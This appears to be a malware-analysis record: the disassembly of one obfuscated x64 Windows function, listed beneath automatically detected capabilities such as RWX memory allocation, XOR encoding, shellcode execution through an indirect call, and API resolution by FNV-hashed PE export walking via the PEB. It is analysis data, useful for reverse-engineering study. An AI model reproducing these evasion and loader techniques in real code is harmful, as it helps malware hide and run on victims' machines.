Function at 0x140170c50
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Hash data using fnv
Query environment variable
Resolve function by parsing pe exports
Terminate process

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x138
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xa8], 0xfffffffffffffffe
mov r14, rdx
cmp dword [0x1406dfd34], 0xa
jl 0x140170ca2
mov eax, dword [0x1406dfd30]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x140170ca2
nop word cs:[rax + rax]
nop dword [rax]
jmp 0x140170ca0
lea rax, [rbp + 0xf8]
movabs rdx, 0xff00ff00ff00ff07
mov rcx, qword [rax]
xor rcx, rdx
mov qword [rbp + 0x40], rcx
mov qword [rax], 0
cmp dword [0x1406df718], 0xa
jl 0x140170ce2
mov eax, dword [0x1406df714]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1401714ac
mov eax, dword [0x1406f0bf0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406f0bf4], 0xa
setl al
or al, cl
mov ecx, dword [0x1406f0bf8]
mov edx, dword [0x1406f0bfc]
jne 0x140170d2b
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edx, 0xa
jl 0x140170d24
test ebx, ebx
jne 0x140171490
mov byte [rbp + 0x80], 0x86
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edx, 0xa
jl 0x140170d41
test ebx, ebx
jne 0x140171480
mov byte [rbp + 0x80], 0x86
test al, al
je 0x140170d17
mov byte [rbp + 0x81], 0xa5
mov qword [rbp + 0x82], 0
mov qword [rbp + 0x88], 0
mov r10d, dword [0x1406f0c00]
mov r8d, dword [0x1406f0c04]
nop word [rax + rax]
cmp r8d, 0xa
jl 0x140170da0
lea eax, [r10 - 1]
imul eax, r10d
and eax, 1
jne 0x140170dce
nop word cs:[rax + rax]
nop dword [rax]
call fcn.1400a65f0
mov rdi, qword [rax]
call fcn.1400a6600
mov r10d, dword [0x1406f0c00]
mov r8d, dword [0x1406f0c04]
cmp r8d, 0xa
jl 0x140170de0
lea ecx, [r10 - 1]
imul ecx, r10d
and ecx, 1
je 0x140170de0
call fcn.1400a65f0
call fcn.1400a6600
jmp 0x140170da0
mov ecx, dword [0x1406f0c08]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1406f0c0c], 0xa
setl r11b
or r11b, cl
mov ecx, dword [0x1406f0c10]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1406f0c14], 0xa
mov r12, qword [rax]
setl r9b
or r9b, cl
xor esi, esi
jmp 0x140170ea1
lea eax, [rsi + 0xb7]
and eax, r15d
lea edx, [r15 + rsi]
add edx, 0xb7
add eax, eax
sub edx, eax
add dl, 0xff
mov byte [rbp + rsi + 0x80], dl
movzx eax, dl
not r12
add r12, rsi
sub r12, rax
mov rsi, r12
mov r12, rcx
lea eax, [rsi + 0x9c]
lea ecx, [rsi + r15]
add ecx, 0x9c
and eax, r15d
add eax, eax
sub ecx, eax
add cl, 0xbc
mov byte [rbp + rsi + 0x80], cl
sub rsi, rdi
add rdi, 1
mov bl, byte [rbp + rsi + 0x7e]
add rsi, 0xfffffffffffffffe
movzx eax, bl
add rax, r12
add rsi, rax
add rsi, 1
cmp rsi, 0x10
jae 0x140171100
cmp rdi, rsi
ja 0x1401710e0
mov bl, byte [rbp + rsi + 0x80]
movzx r15d, bl
lea rcx, [r12 + 1]
cmp rdi, rcx
jae 0x140170f10
cmp r12, rsi
ja 0x140171110
lea rax, [rdi + r12]
cmp rax, rsi
jbe 0x140170f70
lea rcx, [r12 + 5]
cmp rdi, rcx
jne 0x140170f9e
lea edx, [rsi + 0x8e]
lea ecx, [rsi + r15]
add ecx, 0x8e
and edx, r15d
add edx, edx
sub ecx, edx
add cl, 0x1e
mov rdi, rax
jmp 0x140171000
je 0x140170e8a
lea rax, [r12 + 2]
cmp rdi, rax
je 0x140170e5a
lea rax, [r12 + 3]
cmp rdi, rax
jne 0x14017100b
nop word cs:[rax + rax]
nop dword [rax]
test r11b, r11b
je 0x140170f40
lea rax, [rsi + 0xa1]
and eax, r15d
add rax, rax
lea rcx, [rsi + r15]
add rcx, 0xa1
sub rcx, rax
add rdi, r12
mov bl, 0x99
jmp 0x140170fdb
cmp rdi, rcx
jne 0x140170fb1
test r9b, r9b
je 0x140171460
lea eax, [rsi + 0x23]
and eax, r15d
lea ecx, [rsi + r15]
add ecx, 0x23
add eax, eax
sub ecx, eax
add cl, 0xb
mov byte [rbp + rsi + 0x80], cl
mov rcx, rdi
jmp 0x140171018
lea rax, [r12 + 4]
cmp rdi, rax
je 0x140170e8a
jmp 0x140170d80
lea rdx, [r12 + 3]
cmp rdi, rdx
jne 0x140171024
lea rdx, [rsi + 0xb9]
lea rcx, [rsi + r15]
add rcx, 0xb9
and edx, r15d
add rdx, rdx
sub rcx, rdx
mov bl, 0xf1
mov rdi, rax
add cl, bl
lea eax, [rsi + 0xed]
and eax, r15d
lea edx, [r15 + rsi]
add edx, 0xed
add eax, eax
sub edx, eax
add dl, cl
add dl, 0x85
mov byte [rbp + rsi + 0x80], dl
movzx eax, cl
not rax
jmp 0x140170e90
lea rax, [r12 + 7]
cmp rdi, rax
jne 0x14017104d
mov rcx, r12
add rsi, 0xffffffffffffffff
mov r12, rcx
jmp 0x140170e93
lea rdx, [r12 + 5]
cmp rdi, rdx
jne 0x14017107c
lea edx, [rsi + 0x83]
lea ecx, [rsi + r15]
add ecx, 0x83
and edx, r15d
add edx, edx
sub ecx, edx
add cl, 0x6b
mov rdi, rax
jmp 0x140171000
cmp r12, rsi
ja 0x140171110
lea rax, [r12 + 5]
cmp rdi, rax
jne 0x1401710cc
lea eax, [rsi + 0x85]
lea ecx, [rsi + r15]
add ecx, 0x85
and eax, r15d
add eax, eax
sub ecx, eax
add cl, 0x5d
jmp 0x140171000
lea rax, [r12 + 4]
cmp rdi, rax
je 0x140170e27
lea rax, [r12 + 2]
cmp rdi, rax
je 0x140170e8a
lea rax, [r12 + 6]
cmp rdi, rax
je 0x140171018
lea eax, [rsi + 0xe5]
and eax, r15d
add eax, eax
lea ecx, [rsi + r15]
add ecx, 0xe5
sub ecx, eax
add cl, 0xbd
mov byte [rbp + rsi + 0x80], cl
jmp 0x140170e93
lea rax, [r12 + 6]
cmp rdi, rax
jne 0x140170ec8
jmp 0x140170e27
mov eax, 0x11c9ac1
cmp dword [0x1406f0c18], 0xa
jge 0x140171122
jmp 0x140171492
xor eax, eax
cmp dword [0x1406f0c18], 0xa
jge 0x140171122
jmp 0x140171492
mov eax, 0x15099dc
cmp dword [0x1406f0c18], 0xa
jl 0x140171492
mov ecx, dword [0x1406f0c1c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x140171492
cmp r8d, 0xa
jl 0x140171150
lea eax, [r10 - 1]
imul eax, r10d
and eax, 1
jne 0x14017117e
nop word [rax + rax]
call fcn.1400a65f0
mov rdi, qword [rax]
call fcn.1400a6600
mov r10d, dword [0x1406f0c00]
mov r8d, dword [0x1406f0c04]
cmp r8d, 0xa
jl 0x140171190
lea ecx, [r10 - 1]
imul ecx, r10d
and ecx, 1
je 0x140171190
call fcn.1400a65f0
call fcn.1400a6600
jmp 0x140171150
mov ecx, dword [0x1406f0c08]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1406f0c0c], 0xa
setl r11b
or r11b, cl
mov ecx, dword [0x1406f0c10]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1406f0c14], 0xa
mov r15, qword [rax]
setl r9b
or r9b, cl
xor esi, esi
jmp 0x14017124d
lea ecx, [rsi + 0xb7]
and ecx, eax
lea ebx, [rax + rsi]
add ebx, 0xb7
add ecx, ecx
sub ebx, ecx
add bl, 0xff
mov byte [rbp + rsi + 0x80], bl
movzx ecx, bl
not r15
add r15, rsi
sub r15, rcx
mov rsi, r15
mov r15, rdx
lea ecx, [rsi + 0x9c]
lea edx, [rsi + rax]
add edx, 0x9c
and ecx, eax
add ecx, ecx
sub edx, ecx
add dl, 0xbc
mov byte [rbp + rsi + 0x80], dl
sub rsi, rdi
add rdi, 1
mov cl, byte [rbp + rsi + 0x7e]
add rsi, 0xfffffffffffffffe
movzx eax, cl
add rax, r15
add rsi, rax
add rsi, 1
cmp rsi, 0x10
jae 0x140170d80
mov cl, byte [rbp + rsi + 0x80]
movzx eax, cl
cmp rdi, rsi
ja 0x140170d80
lea rdx, [r15 + 1]
cmp rdi, rdx
jae 0x1401712b0
cmp r15, rsi
ja 0x140170d80
lea r12, [rdi + r15]
cmp r12, rsi
jbe 0x140171300
lea rdx, [r15 + 5]
cmp rdi, rdx
jne 0x14017132a
lea edx, [rsi + 0x8e]
lea ecx, [rsi + rax]
add ecx, 0x8e
and edx, eax
add edx, edx
sub ecx, edx
add cl, 0x1e
mov rdi, r12
jmp 0x140171384
je 0x140171236
lea rbx, [r15 + 2]
cmp rdi, rbx
je 0x140171208
lea rbx, [r15 + 3]
cmp rdi, rbx
jne 0x14017138f
nop dword [rax]
test r11b, r11b
je 0x1401712d0
lea rdx, [rsi + 0xa1]
and edx, eax
add rdx, rdx
lea rcx, [rsi + rax]
add rcx, 0xa1
sub rcx, rdx
add rdi, r15
mov dl, 0x99
jmp 0x140171364
cmp rdi, rdx
jne 0x14017133c
test r9b, r9b
je 0x140171470
lea ecx, [rsi + 0x23]
and ecx, eax
add eax, esi
add eax, 0x23
add ecx, ecx
sub eax, ecx
add al, 0xb
mov byte [rbp + rsi + 0x80], al
mov rdx, rdi
jmp 0x14017139b
lea rax, [r15 + 4]
cmp rdi, rax
je 0x140171236
jmp 0x140171137
lea rbx, [r15 + 3]
cmp rdi, rbx
jne 0x1401713a7
lea rdx, [rsi + 0xb9]
lea rcx, [rsi + rax]
add rcx, 0xb9
and edx, eax
add rdx, rdx
sub rcx, rdx
mov dl, 0xf1
mov rdi, r12
add cl, dl
lea edx, [rsi + 0xed]
and edx, eax
add eax, esi
add eax, 0xed
add edx, edx
sub eax, edx
add al, cl
add al, 0x85
mov byte [rbp + rsi + 0x80], al
movzx eax, cl
not rax
jmp 0x14017123c
lea rbx, [r15 + 7]
cmp rdi, rbx
jne 0x1401713cd
mov rdx, r15
add rsi, 0xffffffffffffffff
mov r15, rdx
jmp 0x14017123f
lea rbx, [r15 + 5]
cmp rdi, rbx
jne 0x1401713f9
lea edx, [rsi + 0x83]
lea ecx, [rsi + rax]
add ecx, 0x83
and edx, eax
add edx, edx
sub ecx, edx
add cl, 0x6b
mov rdi, r12
jmp 0x140171384
cmp r15, rsi
ja 0x140170d80
lea rbx, [r15 + 5]
cmp rdi, rbx
jne 0x140171441
lea edx, [rsi + 0x85]
lea ecx, [rsi + rax]
add ecx, 0x85
and edx, eax
add edx, edx
sub ecx, edx
add cl, 0x5d
jmp 0x140171384
lea rbx, [r15 + 4]
cmp rdi, rbx
je 0x1401711d7
lea rbx, [r15 + 2]
cmp rdi, rbx
je 0x140171236
lea rcx, [r15 + 6]
cmp rdi, rcx
je 0x14017139b
lea ecx, [rsi + 0xe5]
and ecx, eax
add ecx, ecx
add eax, esi
add eax, 0xe5
sub eax, ecx
add al, 0xbd
mov byte [rbp + rsi + 0x80], al
jmp 0x14017123f
lea rbx, [r15 + 6]
cmp rdi, rbx
jne 0x140171272
jmp 0x1401711d7
jmp 0x140171460
jmp 0x140171470
jmp 0x140171480
jmp 0x140171490
cmp dword [0x1406df718], 0xa
jl 0x1401714ea
mov ecx, dword [0x1406df714]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x1401714ea
mov eax, dword [0x1406f0bf0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406f0bf4], 0xa
setl al
or al, cl
mov ecx, dword [0x1406f0bf8]
mov edx, dword [0x1406f0bfc]
jne 0x140171a51
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
jmp 0x140171a3d
lea rdi, [rax + rbp]
add rdi, 0x80
lea rbx, [rbp + 0x20]
mov rcx, rbx
call fcn.1400abec0
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rbx
mov rdx, rdi
mov r8, rax
call fcn.14008d7b0
mov r8, qword [rbp + 0x38]
cmp r8, 0x10
jb 0x140171532
mov rdx, qword [rbp + 0x20]
add r8, 1
lea rcx, [rbp + 0x20]
call fcn.14017a700
cmp dword [0x1406f0a30], 0xa
jl 0x140171552
mov eax, dword [0x1406f0a34]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x140171552
nop dword [rax]
jmp 0x140171550
cmp dword [0x1406df718], 0xa
jl 0x140171572
mov eax, dword [0x1406df714]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x140171572
nop dword [rax]
jmp 0x140171570
cmp dword [0x1406f0dd4], 0xa
jl 0x140171592
mov eax, dword [0x1406f0dd0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x140171592
nop dword [rax]
jmp 0x140171590
mov rcx, qword [r14 + 8]
call fcn.1400b4ab0
mov eax, dword [0x1406dfde0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1406dfde4], 0xa
setl cl
or cl, al
mov byte [rbp + 0xa7], cl
mov eax, dword [0x1406f0b34]
mov qword [rbp - 0x40], rax
mov eax, dword [0x1406f0b30]
mov dword [rbp + 0x4c], eax
mov eax, dword [0x1406f0b90]
mov qword [rbp - 0x38], rax
mov eax, dword [0x1406f0b94]
mov dword [rbp + 0x50], eax
mov eax, dword [0x1406f0b28]
mov qword [rbp - 0x30], rax
mov eax, dword [0x1406f0b2c]
mov dword [rbp + 0x54], eax
je 0x140171834
mov rsi, qword gs:[0x60]
mov rax, qword [rbp - 0x40]
lea edi, [rax - 1]
imul edi, eax
and edi, 1
mov rax, qword [rbp - 0x38]
lea r12d, [rax - 1]
imul r12d, eax
and r12d, 1
sete dl
cmp dword [rbp + 0x50], 0xa
setl cl
mov rax, qword [rbp - 0x30]
lea r13d, [rax - 1]
imul r13d, eax
and r13d, 1
sete al
cmp dword [rbp + 0x54], 0xa
setl bl
cmp dword [rbp + 0x4c], 0xa
jl 0x140171656
test edi, edi
jne 0x140171722
mov dword [rbp - 0x24], edi
or cl, dl
or bl, al
mov rax, qword [rsi + 0x18]
mov rsi, qword [rax + 0x10]
mov rdx, qword [rsi + 0x30]
movsxd rax, dword [rdx + 0x3c]
mov r8d, dword [rax + rdx + 0x88]
test r8, r8
je 0x1401716ee
test cl, cl
je 0x140171720
mov edi, dword [rdx + r8 + 0x18]
mov r10, rdi
jmp 0x1401716a2
mov r14d, 0x811c9dc5
mov rdi, r10
cmp r14d, 0x9bc5a608
je 0x140171724
sub r10, 1
jb 0x1401716ee
mov r9d, edi
add r9d, 0xffffffff
mov eax, dword [rdx + r8 + 0x20]
add rax, rdx
mov r11d, dword [rax + r9*4]
mov r15b, byte [rdx + r11]
test r15b, r15b
je 0x14017168c
add r11, rdx
mov r14d, 0x811c9dc5
nop dword [rax]
movsx eax, r15b
xor eax, r14d
imul r14d, eax, 0x1000193
movzx r15d, byte [r11 + 1]
add r11, 1
test r15b, r15b
jne 0x1401716d0
jmp 0x140171692
test cl, cl
jne 0x140171700
jmp 0x14017170f
mov rsi, qword [rsi]
nop word [rax + rax]
test bl, bl
je 0x140171700
mov rsi, qword [rsi]
test cl, cl
jne 0x140171665
test bl, bl
je 0x14017170f
jmp 0x1401716f4
jmp 0x140171720
jmp 0x140171722
cmp byte [rbp + 0xa7], 0
mov edi, dword [rbp - 0x24]
jne 0x140171866
mov rcx, qword gs:[0x60]
test r12d, r12d
sete dl
cmp dword [rbp + 0x50], 0xa
setl r8b
test r13d, r13d
sete bl
cmp dword [rbp + 0x54], 0xa
setl al
cmp dword [rbp + 0x4c], 0xa
jl 0x140171766
test edi, edi
jne 0x140171832
or r8b, dl
or al, bl
mov rcx, qword [rcx + 0x18]
mov r9, qword [rcx + 0x10]
mov rdi, qword [r9 + 0x30]
movsxd rcx, dword [rdi + 0x3c]
mov r10d, dword [rcx + rdi + 0x88]
test r10, r10
je 0x1401717f9
test r8b, r8b
je 0x140171830
mov ecx, dword [rdi + r10 + 0x18]
mov rsi, rcx
jmp 0x1401717af
mov edx, 0x811c9dc5
mov rcx, rsi
cmp edx, 0x9bc5a608
je 0x1401715fe
sub rsi, 1
jb 0x1401717f9
add ecx, 0xffffffff
mov edx, dword [rdi + r10 + 0x20]
add rdx, rdi
mov ecx, dword [rdx + rcx*4]
mov bl, byte [rdi + rcx]
test bl, bl
je 0x14017179b
add rcx, rdi
mov edx, 0x811c9dc5
nop word cs:[rax + rax]
nop dword [rax]
movsx ebx, bl
xor ebx, edx
imul edx, ebx, 0x1000193
movzx ebx, byte [rcx + 1]
add rcx, 1
test bl, bl
jne 0x1401717e0
jmp 0x1401717a0
test r8b, r8b
jne 0x140171810
jmp 0x140171820
mov r9, qword [r9]
nop word cs:[rax + rax]
nop dword [rax]
test al, al
je 0x140171810
mov r9, qword [r9]
test r8b, r8b
jne 0x140171773
test al, al
je 0x140171820
jmp 0x140171800
jmp 0x140171830
jmp 0x140171832
mov rax, qword [rbp - 0x40]
lea edi, [rax - 1]
imul edi, eax
and edi, 1
mov rax, qword [rbp - 0x38]
lea r12d, [rax - 1]
imul r12d, eax
and r12d, 1
mov rax, qword [rbp - 0x30]
lea r13d, [rax - 1]
imul r13d, eax
and r13d, 1
jmp 0x140171734
mov eax, dword [rdx + r8 + 0x1c]
mov ecx, dword [rdx + r8 + 0x24]
add rax, rdx
add rcx, rdx
movzx ecx, word [rcx + r9*2]
mov ecx, dword [rax + rcx*4]
add rcx, rdx
call rcx
mov rcx, rax
call fcn.1400b5600
lea rcx, [0x1406ee540]
call fcn.14008d5b0
lea rcx, [0x1406eeaf0]
call fcn.1401c7e80
cmp byte [0x1406eed00], 0
jne 0x140171929
mov dword [rbp + 0x20], 0x7245200a
cmp dword [0x1406dfdbc], 0xa
jl 0x1401718d4
mov eax, dword [0x1406dfdb8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401718d4
mov dword [rbp + 0x20], 0x7245200a
mov dword [rbp + 0x24], 0x3a726f72
mov word [rbp + 0x28], reloc.WLDAP32.dll_Ordinal_32
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x20]
call fcn.1400aa120
mov r8, qword [0x1406eed18]
cmp qword [0x1406eed20], 0x10
jb 0x14017190b
mov rdx, qword [0x1406eed08]
jmp 0x140171912
lea rdx, [0x1406eed08]
mov rcx, rax
call fcn.1400ab020
mov ecx, 0x5dc
call fcn.140122740
call fcn.140123290
mov dword [rbp + 0x58], 0x555c3a43
cmp dword [0x1406dfdbc], 0xa
jl 0x140171951
mov eax, dword [0x1406dfdb8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x140171951
mov dword [rbp + 0x58], 0x555c3a43
mov dword [rbp + 0x5c], 0x73726573
mov word [rbp + 0x60], 0x5c
lea rsi, [rbp + 0x80]
mov rcx, rsi
call fcn.1400abec0
lea rdi, [rbp + 0x58]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.14008d7b0
cmp qword [rbp + 0x98], 0x10
jb 0x140171998
mov rsi, qword [rbp + 0x80]
lea rdi, [rbp + 0x20]
mov rcx, rdi
call fcn.1400abec0
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rdi
mov rdx, rsi
mov r8, rax
call fcn.14008d7b0
mov r8, qword [rbp + 0x98]
cmp r8, 0x10
jb 0x1401719de
mov rdx, qword [rbp + 0x80]
add r8, 1
lea rcx, [rbp + 0x80]
call fcn.14017a700
cmp dword [0x1406f0a30], 0xa
jl 0x1401719fa
mov eax, dword [0x1406f0a34]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401719fa
jmp 0x1401719f8
movups xmm0, xmmword [0x14026511e]
movups xmmword [rbp - 0x11], xmm0
movups xmm0, xmmword [0x14026510f]
mov eax, dword [0x1406f1900]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406f1904], 0xa
movaps xmmword [rbp - 0x20], xmm0
setl r8b
or r8b, cl
mov dl, Ordinal_79
je 0x1401721f7
jmp 0x14017226a
cmp edx, 0xa
jl 0x140171a4a
test ebx, ebx
jne 0x140172180
mov byte [rbp + 0x80], 0x86
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edx, 0xa
jl 0x140171a67
test ebx, ebx
jne 0x140172170
mov byte [rbp + 0x80], 0x86
test al, al
je 0x140171a3d
mov byte [rbp + 0x81], 0xa5
mov qword [rbp + 0x82], 0
mov qword [rbp + 0x88], 0
mov r10d, dword [0x1406f0c00]
mov r8d, dword [0x1406f0c04]
nop dword [rax]
cmp r8d, 0xa
jl 0x140171ac0
lea eax, [r10 - 1]
imul eax, r10d
and eax, 1
jne 0x140171aee
nop word cs:[rax + rax]
nop dword [rax]
call fcn.1400a65f0
mov rdi, qword [rax]
call fcn.1400a6600
mov r10d, dword [0x1406f0c00]
mov r8d, dword [0x1406f0c04]
cmp r8d, 0xa
jl 0x140171b00
lea ecx, [r10 - 1]
imul ecx, r10d
and ecx, 1
je 0x140171b00
call fcn.1400a65f0
call fcn.1400a6600
jmp 0x140171ac0
mov ecx, dword [0x1406f0c08]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1406f0c0c], 0xa
setl r11b
or r11b, cl
mov ecx, dword [0x1406f0c10]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1406f0c14], 0xa
mov r12, qword [rax]
setl r9b
or r9b, cl
xor esi, esi
jmp 0x140171bc1
lea eax, [rsi + 0xb7]
and eax, r15d
lea edx, [r15 + rsi]
add edx, 0xb7
add eax, eax
sub edx, eax
add dl, 0xff
mov byte [rbp + rsi + 0x80], dl
movzx eax, dl
not r12
add r12, rsi
sub r12, rax
mov rsi, r12
mov r12, rcx
lea eax, [rsi + 0x9c]
lea ecx, [rsi + r15]
add ecx, 0x9c
and eax, r15d
add eax, eax
sub ecx, eax
add cl, 0xbc
mov byte [rbp + rsi + 0x80], cl
sub rsi, rdi
add rdi, 1
mov bl, byte [rbp + rsi + 0x7e]
add rsi, 0xfffffffffffffffe
movzx eax, bl
add rax, r12
add rsi, rax
add rsi, 1
cmp rsi, 0x10
jae 0x140171e00
cmp rdi, rsi
ja 0x140171e00
mov bl, byte [rbp + rsi + 0x80]
movzx r15d, bl
lea rcx, [r12 + 1]
cmp rdi, rcx
jae 0x140171c30
cmp r12, rsi
ja 0x140171e00
lea rax, [rdi + r12]
cmp rax, rsi
jbe 0x140171c90
lea rcx, [r12 + 5]
cmp rdi, rcx
jne 0x140171cbe
lea edx, [rsi + 0x8e]
lea ecx, [rsi + r15]
add ecx, 0x8e
and edx, r15d
add edx, edx
sub ecx, edx
add cl, 0x1e
mov rdi, rax
jmp 0x140171d20
je 0x140171baa
lea rax, [r12 + 2]
cmp rdi, rax
je 0x140171b7a
lea rax, [r12 + 3]
cmp rdi, rax
jne 0x140171d2b
nop word cs:[rax + rax]
nop dword [rax]
test r11b, r11b
je 0x140171c60
lea rax, [rsi + 0xa1]
and eax, r15d
add rax, rax
lea rcx, [rsi + r15]
add rcx, 0xa1
sub rcx, rax
add rdi, r12
mov bl, 0x99
jmp 0x140171cfb
cmp rdi, rcx
jne 0x140171cd1
test r9b, r9b
je 0x140172150
lea eax, [rsi + 0x23]
and eax, r15d
lea ecx, [rsi + r15]
add ecx, 0x23
add eax, eax
sub ecx, eax
add cl, 0xb
mov byte [rbp + rsi + 0x80], cl
mov rcx, rdi
jmp 0x140171d38
lea rax, [r12 + 4]
cmp rdi, rax
je 0x140171baa
jmp 0x140171aa0
lea rdx, [r12 + 3]
cmp rdi, rdx
jne 0x140171d44
lea rdx, [rsi + 0xb9]
lea rcx, [rsi + r15]
add rcx, 0xb9
and edx, r15d
add rdx, rdx
sub rcx, rdx
mov bl, 0xf1
mov rdi, rax
add cl, bl
lea eax, [rsi + 0xed]
and eax, r15d
lea edx, [r15 + rsi]
add edx, 0xed
add eax, eax
sub edx, eax
add dl, cl
add dl, 0x85
mov byte [rbp + rsi + 0x80], dl
movzx eax, cl
not rax
jmp 0x140171bb0
lea rax, [r12 + 7]
cmp rdi, rax
jne 0x140171d6d
mov rcx, r12
add rsi, 0xffffffffffffffff
mov r12, rcx
jmp 0x140171bb3
lea rdx, [r12 + 5]
cmp rdi, rdx
jne 0x140171d9c
lea edx, [rsi + 0x83]
lea ecx, [rsi + r15]
add ecx, 0x83
and edx, r15d
add edx, edx
sub ecx, edx
add cl, 0x6b
mov rdi, rax
jmp 0x140171d20
cmp r12, rsi
ja 0x140171e00
lea rax, [r12 + 5]
cmp rdi, rax
jne 0x140171dec
lea eax, [rsi + 0x85]
lea ecx, [rsi + r15]
add ecx, 0x85
and eax, r15d
add eax, eax
sub ecx, eax
add cl, 0x5d
jmp 0x140171d20
lea rax, [r12 + 4]
cmp rdi, rax
je 0x140171b47
lea rax, [r12 + 2]
cmp rdi, rax
je 0x140171baa
lea rax, [r12 + 6]
cmp rdi, rax
je 0x140171d38
lea eax, [rsi + 0xe5]
and eax, r15d
add eax, eax
lea ecx, [rsi + r15]
add ecx, 0xe5
sub ecx, eax
add cl, 0xbd
mov byte [rbp + rsi + 0x80], cl
jmp 0x140171bb3
lea rax, [r12 + 6]
cmp rdi, rax
jne 0x140171be8
jmp 0x140171b47
cmp dword [0x1406f0c18], 0xa
jl 0x140170ce2
mov eax, dword [0x1406f0c1c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x140170ce2
cmp r8d, 0xa
jl 0x140171e40
lea eax, [r10 - 1]
imul eax, r10d
and eax, 1
jne 0x140171e6e
nop word cs:[rax + rax]
nop
call fcn.1400a65f0
mov rdi, qword [rax]
call fcn.1400a6600
mov r10d, dword [0x1406f0c00]
mov r8d, dword [0x1406f0c04]
cmp r8d, 0xa
jl 0x140171e80
lea ecx, [r10 - 1]
imul ecx, r10d
and ecx, 1
je 0x140171e80
call fcn.1400a65f0
call fcn.1400a6600
jmp 0x140171e40
mov ecx, dword [0x1406f0c08]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1406f0c0c], 0xa
setl r11b
or r11b, cl
mov ecx, dword [0x1406f0c10]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1406f0c14], 0xa
mov r15, qword [rax]
setl r9b
or r9b, cl
xor esi, esi
jmp 0x140171f3d
lea ecx, [rsi + 0xb7]
and ecx, eax
lea ebx, [rax + rsi]
add ebx, 0xb7
add ecx, ecx
sub ebx, ecx
add bl, 0xff
mov byte [rbp + rsi + 0x80], bl
movzx ecx, bl
not r15
add r15, rsi
sub r15, rcx
mov rsi, r15
mov r15, rdx
lea ecx, [rsi + 0x9c]
lea edx, [rsi + rax]
add edx, 0x9c
and ecx, eax
add ecx, ecx
sub edx, ecx
add dl, 0xbc
mov byte [rbp + rsi + 0x80], dl
sub rsi, rdi
add rdi, 1
mov cl, byte [rbp + rsi + 0x7e]
add rsi, 0xfffffffffffffffe
movzx eax, cl
add rax, r15
add rsi, rax
add rsi, 1
cmp rsi, 0x10
jae 0x140171aa0
mov cl, byte [rbp + rsi + 0x80]
movzx eax, cl
cmp rdi, rsi
ja 0x140171aa0
lea rdx, [r15 + 1]
cmp rdi, rdx
jae 0x140171fa0
cmp r15, rsi
ja 0x140171aa0
lea r12, [rdi + r15]
cmp r12, rsi
jbe 0x140171ff0
lea rdx, [r15 + 5]
cmp rdi, rdx
jne 0x14017201a
lea edx, [rsi + 0x8e]
lea ecx, [rsi + rax]
add ecx, 0x8e
and edx, eax
add edx, edx
sub ecx, edx
add cl, 0x1e
mov rdi, r12
jmp 0x140172074
je 0x140171f26
lea rbx, [r15 + 2]
cmp rdi, rbx
je 0x140171ef8
lea rbx, [r15 + 3]
cmp rdi, rbx
jne 0x14017207f
nop dword [rax]
test r11b, r11b
je 0x140171fc0
lea rdx, [rsi + 0xa1]
and edx, eax
add rdx, rdx
lea rcx, [rsi + rax]
add rcx, 0xa1
sub rcx, rdx
add rdi, r15
mov dl, 0x99
jmp 0x140172054
cmp rdi, rdx
jne 0x14017202c
test r9b, r9b
je 0x140172160
lea ecx, [rsi + 0x23]
and ecx, eax
add eax, esi
add eax, 0x23
add ecx, ecx
sub eax, ecx
add al, 0xb
mov byte [rbp + rsi + 0x80], al
mov rdx, rdi
jmp 0x14017208b
lea rax, [r15 + 4]
cmp rdi, rax
je 0x140171f26
jmp 0x140171e22
lea rbx, [r15 + 3]
cmp rdi, rbx
jne 0x140172097
lea rdx, [rsi + 0xb9]
lea rcx, [rsi + rax]
add rcx, 0xb9
and edx, eax
add rdx, rdx
sub rcx, rdx
mov dl, 0xf1
mov rdi, r12
add cl, dl
lea edx, [rsi + 0xed]
and edx, eax
add eax, esi
add eax, 0xed
add edx, edx
sub eax, edx
add al, cl
add al, 0x85
mov byte [rbp + rsi + 0x80], al
movzx eax, cl
not rax
jmp 0x140171f2c
lea rbx, [r15 + 7]
cmp rdi, rbx
jne 0x1401720bd
mov rdx, r15
add rsi, 0xffffffffffffffff
mov r15, rdx
